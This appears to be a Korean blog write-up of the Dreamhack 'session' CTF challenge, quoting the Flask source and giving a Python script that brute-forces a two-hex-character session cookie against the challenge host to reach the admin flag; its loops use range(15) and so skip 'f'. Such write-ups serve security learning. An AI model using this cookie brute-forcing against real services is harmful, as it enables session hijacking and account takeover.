본문 바로가기

웹해킹

드림핵 session 롸업

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}

session_storage = {
}

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

username이 adminn이면 flag를 볼 수 있다.

username은 session_storge에서 session_id로 가져오는데 우리는 admin값을 가지는 session_id를 현재 모른다.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(4).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

login url의 코드이다.

users에 있는 값을 pw로 가져오고 입력한 password가 pw와 같다면 session_storgae의 session_id 값을 username으로

설정하고 index 페이지로 이동한다.

여기서 admin으로 로그인을 성공한다면 session_storgae의 session_id 값을 admin으로 설정하고 index 페이지로 이동하기 때문에 flag를 볼 수 있을 것이다.

하지만 admin계정의 비밀번호가 flag이기 때문에 로그인을 할 수가 없다.

 

어떻게 해야 sessionid를 가져올 수 있을지 한참 고민을 했는데 풀이는 허무했다.

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

flask 실행 부분에서 os.urandom(1).hex()로 session_storage에 값을 저장하는데

os.urandom(1).hex()는 임의의 1바이트를 16진수로 바꾼다.

1바이트는 0~255의 값이기 때문에 16진수 2글자로 값이 정해진다.

즉, 0~9, a~f 만 이용해서 2글자를 만들어서 모든 경우의 수를 sessionid로 넣어주다 보면 admin 값이 나오게 된다.

import requests
from bs4 import BeautifulSoup

URL='http://host3.dreamhack.games:8660/'

list=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
cookie=""
for i in range(15):
    for j in range(15):
       cookie=""
       cookie+=list[i]
       cookie+=list[j]
       cookies = {'sessionid':cookie}
       print(cookie)
       res = requests.get(URL, cookies=cookies)
       #print(res.text)
       soup = BeautifulSoup(res.text, 'html.parser')
       h3_tags = soup.find_all('h3')
       for h3 in h3_tags:
           print(h3.get_text())

exploit 코드이다.

2중 for문으로 2글자짜리 cookie를 생성하고 requests.get으로 요청을 보낸다.

그리고 확인 결과

return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

이 코드에서 text가 h3 태그에 담기기 때문에 

html 파싱을 이용해서 h3태그의 text 값을 불러와서 출력시킨다.

어차피 session_id가 틀렸다면 아무 값도 출력되지 않을 것이기 때문에 편하다.

print(cookie)는 없어도 되지만 그냥 제대로 동작하는지 보려고 넣었다.

이렇게 중간에 flag가 출력된다.

 

'웹해킹' 카테고리의 다른 글

드림핵 pathtraversal 롸업  (1) 2024.01.06
드림핵 web-misconf-1 롸업  (0) 2023.12.22
드림핵 simple-web-request 롸업  (0) 2023.12.20
드림핵 ex-reg-ex 롸업  (0) 2023.12.20
드림핵 Flying Chars 롸업  (0) 2023.12.20